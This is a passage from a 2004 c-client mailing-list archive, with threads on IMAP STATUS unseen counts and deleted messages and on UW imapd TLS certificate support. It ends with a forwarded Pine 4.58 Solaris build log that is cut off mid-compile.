(mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AJRsgN018918 for ; Sat, 10 Jan 2004 11:27:55 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AJRo6L006748; Sat, 10 Jan 2004 11:27:50 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AJRosv005814; Sat, 10 Jan 2004 11:27:50 -0800 Message-Id: Date: Sat, 10 Jan 2004 11:27:50 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ere Maijala Cc: c-client@u.washington.edu Subject: Re: IMAP STATUS unseen and deleted In-Reply-To: <40004367.6030707@atp.fi> References: <40004367.6030707@atp.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Since you asked for comments, my comment is that the IMAP server is working correctly as-is, according to the IMAP specification. I understand the problem that you're trying to solve, but I don't think that you'll have much luck solving it by changing the IMAP server. It's probably much too late now to change the IMAP specification to require that the UNSEEN count from STATUS disregard deleted messages. Had that idea been brought up 8 years ago when STATUS first appeared, it probably would have been accepted and made part of the specification. There are now many IMAP server implementations. I don't think that it is feasible to change STATUS now. By the way, I hope that Mozilla is not doing STATUS on a selected mailbox. It is alright (and intended) to use STATUS to probe a non-selected mailbox. If the mailbox is selected there are other ways that should be used by the client to check for new mail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Jan 10 14:30:17 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Jan 2004 14:30:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AMUHUF016894 for ; Sat, 10 Jan 2004 14:30:17 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AMUF72030203 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 10 Jan 2004 14:30:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0AMTKop012360; Sat, 10 Jan 2004 14:29:23 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AMSEuL106450 for ; Sat, 10 Jan 2004 14:28:14 -0800 Received: from kala.atp.fi (atp.fi [193.229.202.204] (may be forged)) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AMSCSn002999 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 10 Jan 2004 14:28:13 -0800 Received: from atp.fi (eremite.atp.fi [194.100.4.133]) by kala.atp.fi (8.12.8/8.12.8) with ESMTP id i0AMS5VI001276; Sun, 11 Jan 2004 00:28:06 +0200 Message-Id: <40007C75.8060308@atp.fi> Date: Sun, 11 Jan 2004 00:28:05 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ere Maijala To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IMAP STATUS unseen and deleted In-Reply-To: References: <40004367.6030707@atp.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-atp.fi-MailScanner-Information: Please contact administration for more information X-atp.fi-MailScanner: Found to be clean X-atp.fi-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 6.29) X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='MAY_BE_FORGED 0.000, X_ACCEPT_LANG 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I stand corrected. I forgot to attach the patch, but maybe that was for the best. I've had some trouble adjusting my thinking to the fact that the deleted flag is just a flag and the messages are still there. That's why I read the RFC and thought it would be ok to return only the count of undeleted messages. Would have been nice to have a status data item for both undeleted unseen and deleted unseen messages, but I understand the history and current situation. Now, is EXAMINE + SEARCH the best way to get the number of unseen undeleted messages without selecting the mailbox? I haven't written the IMAP code of Mozilla, but I as far as I remember, it doesn't use status when a mailbox is selected, but NOOP and the status responses instead. Thanks, Ere From pinedev@shivax2.cac.washington.edu Sat Jan 10 19:59:28 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Jan 2004 19:59:28 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0B3xRUF001953 for ; Sat, 10 Jan 2004 19:59:27 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0B3xQ72006568 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 10 Jan 2004 19:59:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0B3w9Fe016122; Sat, 10 Jan 2004 19:58:12 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0B3vCuL056156 for ; Sat, 10 Jan 2004 19:57:12 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0B3vBgN015802 for ; Sat, 10 Jan 2004 19:57:11 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0B3v7gr012404; Sat, 10 Jan 2004 19:57:07 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0B3v6jY014310; Sat, 10 Jan 2004 19:57:07 -0800 Message-Id: Date: Sat, 10 Jan 2004 19:57:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ere Maijala Cc: c-client@u.washington.edu Subject: Re: IMAP STATUS unseen and deleted In-Reply-To: <40007C75.8060308@atp.fi> References: <40004367.6030707@atp.fi> <40007C75.8060308@atp.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 11 Jan 2004, Ere Maijala wrote: > Now, is EXAMINE + SEARCH the best way to get the number of unseen undeleted > messages without selecting the mailbox? EXAMINE is a type of SELECT; the main advantage is that it does not impact \Recent flags. You are correct though in believing that EXAMINE+SEARCH is the only way to get the number of unseen undeleted messages. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 14 07:18:30 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Jan 2004 07:18:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EFIUUF028937 for ; Wed, 14 Jan 2004 07:18:30 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EFISlp013162 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 14 Jan 2004 07:18:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0EFHFop013154; Wed, 14 Jan 2004 07:17:16 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EFFiuL069022 for ; Wed, 14 Jan 2004 07:15:44 -0800 Received: from mail.work.de (mail.work.de [212.12.32.49]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EFFgf0006824 for ; Wed, 14 Jan 2004 07:15:43 -0800 Received: from ip1.pre-secure.de ([212.12.41.21] helo=tu.pre-secure.de) by mail.work.de with esmtp (Exim 3.35 #1 (Debian)) id 1AgmiL-0000Cf-00 for ; Wed, 14 Jan 2004 16:13:49 +0100 Received: from localhost (localhost [127.0.0.1]) by tu.pre-secure.de (Postfix) with ESMTP id B34A837138 for ; Wed, 14 Jan 2004 16:15:10 +0100 (CET) Received: from pre-secure.de (unknown [193.174.13.130]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "Till Doerges", Issuer "PRESECURE User CA" (verified OK)) by tu.pre-secure.de (Postfix) with ESMTP id DAD7437130 for ; Wed, 14 Jan 2004 16:15:08 +0100 (CET) Message-Id: <40055CD9.9090500@pre-secure.de> Date: Wed, 14 Jan 2004 16:14:33 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?ISO-8859-15?Q?Till_D=F6rges?= To: c-client@u.washington.edu Subject: Status of TLS/SSL support for IMAP server? MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: quoted-printable X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_LONG_SPARSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi folks, when looking at the UW IMAP server I was wondering to what extend TLS/SSL actually is supported. I went through the mailing-list archive and through some of the code as well, but I was not able to come up with definitive answers. Hence this E-Mail (I hope I found the right place to ask questions). Does the UW IMAP server support o Server certificates (yes) o Client certificates (no) to allow authentication o CA certificates (no) to recognize valid client certs signed by a CA o Certificate Revocation Lists (no) to recognize invalid/revoked client certs I put my findings into parentheses. Any answers/hints appreciated. TIA -- Till --=20 Dipl.-Inform. Till D=F6rges PRESECURE (R) Researcher Consulting GmbH Phone: +49 (0)700 / PRESECURE td@pre-secure.de Treffen Sie uns auf dem DFN-CERT Workshop http://www.dfn-cert.de/events/ws/2004/ 3. und 4. Februar 2004, Hamburg -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 14 09:15:01 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Jan 2004 09:15:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EHF1UF000938 for ; Wed, 14 Jan 2004 09:15:01 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EHExlp017424 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 14 Jan 2004 09:14:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0EHDwrk012924; Wed, 14 Jan 2004 09:13:59 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EHCluL053030 for ; Wed, 14 Jan 2004 09:12:47 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EHCkrQ021393 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 14 Jan 2004 09:12:46 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EHChbS000615; Wed, 14 Jan 2004 09:12:43 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EHChJf001418; Wed, 14 Jan 2004 09:12:43 -0800 Message-Id: Date: Wed, 14 Jan 2004 09:12:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: =?ISO-8859-15?Q?Till_D=F6rges?= Cc: c-client@u.washington.edu Subject: Re: Status of TLS/SSL support for IMAP server? In-Reply-To: <40055CD9.9090500@pre-secure.de> References: <40055CD9.9090500@pre-secure.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN UW imapd supports server certificates, and the UW c-client client code supports CA certificate validation of the server certificate. In order to do CA certificate validation, the CA certificates have to be installed in the system CA certificate directory (this is usually /usr/local/ssl/certs but can be different on some systems). OpenSSL's install procedure, for some reason, does not install CA certificates so this has to be done manually. UW imapd does not validate client certificates; but I do not know of any IMAP client that supports client certificates so it doesn't matter. IMAP clients authenticate to the IMAP server using SASL. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 14 10:21:53 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Jan 2004 10:21:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EILrUF004503 for ; Wed, 14 Jan 2004 10:21:53 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EILplp019877 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 14 Jan 2004 10:21:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0EIKtFh013116; Wed, 14 Jan 2004 10:20:55 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EIJvuL097676 for ; Wed, 14 Jan 2004 10:19:58 -0800 Received: from mail.work.de (mail.work.de [212.12.32.49]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0EIJuf0018752 for ; Wed, 14 Jan 2004 10:19:56 -0800 Received: from ip1.pre-secure.de ([212.12.41.21] helo=tu.pre-secure.de) by mail.work.de with esmtp (Exim 3.35 #1 (Debian)) id 1Agpab-0007Ot-00; Wed, 14 Jan 2004 19:18:01 +0100 Received: from localhost (localhost [127.0.0.1]) by tu.pre-secure.de (Postfix) with ESMTP id DDCB9371D3; Wed, 14 Jan 2004 19:19:20 +0100 (CET) Received: from pre-secure.de (unknown [193.174.13.130]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "Till Doerges", Issuer "PRESECURE User CA" (verified OK)) by tu.pre-secure.de (Postfix) with ESMTP id 1C798371D4; Wed, 14 Jan 2004 19:19:19 +0100 (CET) Message-Id: <40058803.8020300@pre-secure.de> Date: Wed, 14 Jan 2004 19:18:43 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?ISO-8859-1?Q?Till_D=F6rges?= To: c-client@u.washington.edu Cc: Mark Crispin Subject: Re: Status of TLS/SSL support for IMAP server? In-Reply-To: References: <40055CD9.9090500@pre-secure.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_SPARSE 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, thanks for the quick answer. :-) Mark Crispin wrote: > UW imapd supports server certificates, and the UW c-client client code [...] > supports CA certificate validation of the server certificate. > UW imapd does not validate client certificates; but I do not know of an= y > IMAP client that supports client certificates so it doesn't matter. The Courier imapd supports client certificates. It's even possible to insist on a valid client certificate. The certificate, however, can't be used to authenticate a client (at least not to the very best of my knowledge.) The situation seems similar for the Cyrus imapd. I haven't tested it thou= gh. > IMAP clients authenticate to the IMAP server using SASL. I know, but if the users already have a valid certificate, they might use it for authentication as well. This saves one set of credentials (login + password for imap) to be taken care of. Bye -- Till --=20 Dipl.-Inform. Till D=F6rges PRESECURE (R) Researcher Consulting GmbH Phone: +49 (0)700 / PRESECURE td@pre-secure.de Treffen Sie uns auf dem DFN-CERT Workshop http://www.dfn-cert.de/events/ws/2004/ 3. und 4. Februar 2004, Hamburg From pinedev@shivax2.cac.washington.edu Fri Jan 16 05:41:07 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Jan 2004 05:41:07 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GDf7tL011284 for ; Fri, 16 Jan 2004 05:41:07 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GDf5VN010854 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 16 Jan 2004 05:41:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0GDdwVb014112; Fri, 16 Jan 2004 05:39:59 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GDb2uL044670 for ; Fri, 16 Jan 2004 05:37:02 -0800 Received: from odyssee.cnrs-orleans.fr (odyssee.cnrs-orleans.fr [163.9.4.20]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0GDaxq1032382 for ; Fri, 16 Jan 2004 05:37:00 -0800 Received: from odyssee (odyssee.cnrs-orleans.fr [163.9.4.20]) by odyssee.cnrs-orleans.fr (8.12.2+Sun/8.12.2) with ESMTP id i0GDaoYt006979; Fri, 16 Jan 2004 14:36:51 +0100 (MET) Received: from lysithea ([163.9.4.134]) by odyssee.cnrs-orleans.fr (MailMonitor for SMTP v1.2.2 ) ; Fri, 16 Jan 2004 14:36:50 +0100 (MET) Message-Id: <4007EA44.2050801@cnrs-orleans.fr> Date: Fri, 16 Jan 2004 14:42:28 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?ISO-8859-1?Q?Lyane_Plan=E7on?= To: c-client@washington.edu Subject: [Fwd: build Pine4.58 under Solaris 9 ( Sun SPARC )] MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------070400030204090506060404" X-Accept-Language: fr, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SUPERLONG_LINE 0.003, FWD_MSG 0, X_ACCEPT_LANG 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------070400030204090506060404 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hello, everybody, I have some problems with building Pine 4.58 ! I send to you the attachement file, if you could help me ! Best wishes Lyane --------------070400030204090506060404 Content-Type: message/rfc822; name="build Pine4.58 under Solaris 9 ( Sun SPARC )" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="build Pine4.58 under Solaris 9 ( Sun SPARC )" Return-Path: Received: from odyssee (odyssee.cnrs-orleans.fr [163.9.4.20]) by odyssee.cnrs-orleans.fr (8.12.2+Sun/8.12.2) with ESMTP id i0GDDNYt006756 for ; Fri, 16 Jan 2004 14:13:23 +0100 (MET) Received: from hermes ([163.9.1.4]) by odyssee.cnrs-orleans.fr (MailMonitor for SMTP v1.2.2 ) ; Fri, 16 Jan 2004 14:13:23 +0100 (MET) Received: from odyssee.cnrs-orleans.fr (odyssee.cnrs-orleans.fr [163.9.4.20]) by sun-blade.cnrs-orleans.fr (8.12.10/jtpda-5.4) with ESMTP id i0GDDAe9020418 for ; Fri, 16 Jan 2004 14:13:10 +0100 (MET) Received: from odyssee (odyssee.cnrs-orleans.fr [163.9.4.20]) by odyssee.cnrs-orleans.fr (8.12.2+Sun/8.12.2) with ESMTP id i0GDD2Yt006742; Fri, 16 Jan 2004 14:13:02 +0100 (MET) Received: from lysithea ([163.9.4.134]) by odyssee.cnrs-orleans.fr (MailMonitor for SMTP v1.2.2 ) ; Fri, 16 Jan 2004 14:13:02 +0100 (MET) Message-ID: <4007E4AF.7010803@cnrs-orleans.fr> Date: Fri, 16 Jan 2004 14:18:39 +0100 From: =?ISO-8859-1?Q?Lyane_Plan=E7on?= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: fr, en MIME-Version: 1.0 To: c-client@washington.edu Subject: build Pine4.58 under Solaris 9 ( Sun SPARC ) Content-Type: multipart/mixed; boundary="------------020009050900070904010700" X-MailScanner: Found to be clean This is a multi-part message in MIME format. --------------020009050900070904010700 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hello, everybody, I have some problems whith building Pine 4.58 under Solaris 9 ( Sun SPARC ) ; here is, in attachement, the file with the results of building ! Thanks if you find an answer to my question ! Best whishes Lyane --------------020009050900070904010700 Content-Type: text/plain; name="pine4.58results" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="pine4.58results" root on antares # ./build so5 make args are CC=cc so5 Including LDAP functionality File /usr/local/ssl/certs/factory.pem is missing This might indicate that CA certs did not get properly installed. If you get certificate validation failures in Pine, this might be the reason for them. Including SSL functionality ln: cannot create c-client: File exists ln: cannot create mtest: File exists ln: cannot create mailutil: File exists ln: cannot create imapd: File exists ln: cannot create ipopd: File exists Making c-client library, imapd, and ipopd eval make CC=cc SSLTYPE=nopwd SPECIALS=SSLDIR=/usr/local/ssl sol make sslnopwd `sslnopwd' is up to date. Applying an process to sources... tools/an "ln -s" src/c-client c-client tools/an "ln -s" src/ansilib c-client tools/an "ln -s" src/charset c-client tools/an "ln -s" src/osdep/unix c-client tools/an "ln -s" src/mtest mtest tools/an "ln -s" src/ipopd ipopd tools/an "ln -s" src/imapd imapd tools/an "ln -s" src/mailutil mailutil tools/an "ln -s" src/mlock mlock tools/an "ln -s" src/dmail dmail tools/an "ln -s" src/tmail tmail ln -s tools/an . make build EXTRACFLAGS='' EXTRALDFLAGS='' EXTRADRIVERS='mbox' EXTRAAUTHENTICATORS='' PASSWDTYPE=std SSLTYPE=nopwd EXTRASPECIALS='' BUILDTYPE=sol Building c-client for sol... echo `cat SPECIALS` > c-client/SPECIALS cd c-client;make sol EXTRACFLAGS=''\ EXTRALDFLAGS=''\ EXTRADRIVERS='mbox'\ EXTRAAUTHENTICATORS=''\ PASSWDTYPE=std SSLTYPE=nopwd\ make build EXTRACFLAGS='' EXTRALDFLAGS='' EXTRADRIVERS='mbox' EXTRAAUTHENTICATORS='' PASSWDTYPE=std SSLTYPE=nopwd `cat SPECIALS` OS=sol \ SIGTYPE=psx CHECKPW=psx CRXTYPE=nfs \ SPOOLDIR=/var/spool MAILSPOOL=/var/mail \ ACTIVEFILE=/usr/share/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -O2" \ BASELDFLAGS="-lsocket -lnsl -lgen" \ RANLIB=true CC=ucbcc sh -c 'rm -rf auths.c crexcl.c nfstest.c linkage.[ch] siglocal.c osdep*.[ch] *.o ARCHIVE *FLAGS *TYPE c-client.a || true' Once-only environment setup... echo ucbcc > CCTYPE echo -g -O2 '' > CFLAGS echo -DCREATEPROTO=unixproto -DEMPTYPROTO=unixproto \ -DMAILSPOOL=\"/var/mail\" \ -DANONYMOUSHOME=\"/var/mail/anonymous\" \ -DACTIVEFILE=\"/usr/share/news/active\" -DNEWSSPOOL=\"/var/spool/news\" \ -DRSHPATH=\"/usr/bin/rsh\" -DLOCKPGM=\"/etc/mlock\" > OSCFLAGS echo -lsocket -lnsl -lgen > LDFLAGS echo "ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o;true c-client.a" > ARCHIVE echo sol > OSTYPE ./drivers mbox imap nntp pop3 mh mx mbx tenex mtx mmdf unix news phile dummy ./mkauths md5 pla log echo -DMD5ENABLE=\"/etc/cram-md5.pwd\" >> OSCFLAGS ln -s os_sol.h osdep.h ln -s os_sol.c osdepbas.c ln -s log_std.c osdeplog.c ln -s sig_psx.c siglocal.c ln -s crx_nfs.c crexcl.c sh -c '(test -f /usr/include/sys/statvfs.h -a sol != sc5 -a sol != sco) && ln -s nfstnew.c nfstest.c || ln -s nfstold.c nfstest.c' Standard password authentication ln -s ckp_psx.c osdepckp.c Building with SSL ln -s ssl_unix.c osdepssl.c echo -I/usr/local/ssl/include -I/usr/local/ssl/include/openssl -DSSL_CERT_DIRECTORY=\"/usr/local/ssl/certs\" -DSSL_KEY_DIRECTORY=\"/usr/local/ssl/certs\" >> OSCFLAGS echo " ssl_onceonlyinit ();" >> linkage.c echo -L/usr/local/ssl/lib -lssl -lcrypto >> LDFLAGS Building with SSL and plaintext passwords disabled unless SSL/TLS echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> linkage.c cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c Building OS-dependent module If you get No such file error messages for files x509.h, ssl.h, pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL is not installed on your system. Either install OpenSSL first or build with command: make sol SSLTYPE=none `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` mail.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` misc.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` newsrc.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` smanager.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` utf8.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` siglocal.c cc: Warning: option -2 passed to ld "siglocal.c", line 39: warning: assignment type mismatch: pointer to function() returning void "=" pointer to void `cat CCTYPE` -c `cat CFLAGS` dummy.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` pseudo.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` netmsg.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` flstring.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` fdstring.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` rfc822.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` nntp.c cc: Warning: option -2 passed to ld `cat CCTYPE` -c `cat CFLAGS` smtp.c cc: Warning: option -2 passed to ld `cat 